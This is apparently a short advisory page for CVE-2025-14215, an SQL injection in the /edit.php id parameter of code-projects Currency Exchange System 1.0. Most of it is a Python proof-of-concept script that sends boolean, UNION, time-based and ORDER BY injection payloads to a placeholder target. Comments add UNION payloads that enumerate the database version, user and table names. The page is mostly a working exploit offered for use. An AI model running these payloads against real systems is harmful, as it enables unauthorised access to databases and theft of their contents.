CVE-2025-14215: code-projects Currency Exchange System 1.0 /edit.php SQL注入漏洞

import requests # CVE-2025-14215 PoC - SQL Injection in Currency Exchange System 1.0 # Target: /edit.php?id= parameter target_url = "http://target-site.com/edit.php" # Basic SQL Injection tests payloads = [ "1' OR '1'='1", "1' UNION SELECT 1,2,3--", "1' AND SLEEP(5)--", "1' ORDER BY 1--" ] def test_sql_injection(url, param='id'): for payload in payloads: params = {param: payload} try: response = requests.get(url, params=params, timeout=10) print(f"Payload: {payload}") print(f"Status: {response.status_code}") print(f"Length: {len(response.text)}\n") except requests.exceptions.RequestException as e: print(f"Error: {e}\n") if __name__ == "__main__": test_sql_injection(target_url) # Database enumeration example: # /edit.php?id=1' UNION SELECT 1,version(),user(),database()-- # /edit.php?id=1' UNION SELECT 1,table_name,3 FROM information_schema.tables--